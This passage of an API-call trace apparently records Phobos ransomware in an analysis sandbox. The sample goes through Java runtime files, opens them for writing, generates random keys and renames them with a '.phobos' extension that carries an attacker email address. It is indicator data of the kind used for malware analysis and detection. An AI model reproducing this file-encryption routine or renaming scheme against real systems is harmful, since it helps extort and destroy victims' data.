(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0125.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.338] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.339] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3144) returned 1 [0125.339] CloseHandle (hObject=0x594) returned 1 [0125.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0125.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.339] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.339] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=5548) returned 1 [0125.339] CloseHandle (hObject=0x594) returned 1 [0125.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0125.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.339] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.340] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=4122) returned 1 [0125.340] CloseHandle (hObject=0x594) returned 1 [0125.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0125.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.340] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.341] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2860) returned 1 [0125.341] CloseHandle (hObject=0x594) returned 1 [0125.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0125.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.342] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.342] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3306) returned 1 [0125.342] CloseHandle (hObject=0x594) returned 1 [0125.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0125.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.342] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.343] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3600) returned 1 [0125.343] CloseHandle (hObject=0x594) returned 1 [0125.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0125.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.343] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.344] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3409) returned 1 [0125.344] CloseHandle (hObject=0x594) returned 1 [0125.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0125.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.344] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.344] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3223) returned 1 [0125.344] CloseHandle (hObject=0x594) returned 1 [0125.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0125.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.344] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.345] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=6349) returned 1 [0125.345] CloseHandle (hObject=0x594) returned 1 [0125.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0125.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.345] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.346] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=5712) returned 1 [0125.346] CloseHandle (hObject=0x594) returned 1 [0125.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0125.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.346] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.347] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3285) returned 1 [0125.347] CloseHandle (hObject=0x594) returned 1 [0125.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0125.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.347] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.347] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3409) returned 1 [0125.347] CloseHandle (hObject=0x594) returned 1 [0125.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0125.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.348] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.348] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=4072) returned 1 [0125.348] CloseHandle (hObject=0x594) returned 1 [0125.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0125.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.348] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.349] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3752) returned 1 [0125.349] CloseHandle (hObject=0x594) returned 1 [0125.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0125.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.349] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.349] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3752) returned 1 [0125.350] CloseHandle (hObject=0x594) returned 1 [0125.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0125.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.350] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.350] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=5040094) returned 1 [0125.351] CloseHandle (hObject=0x594) returned 1 [0125.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0125.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0 [0125.351] 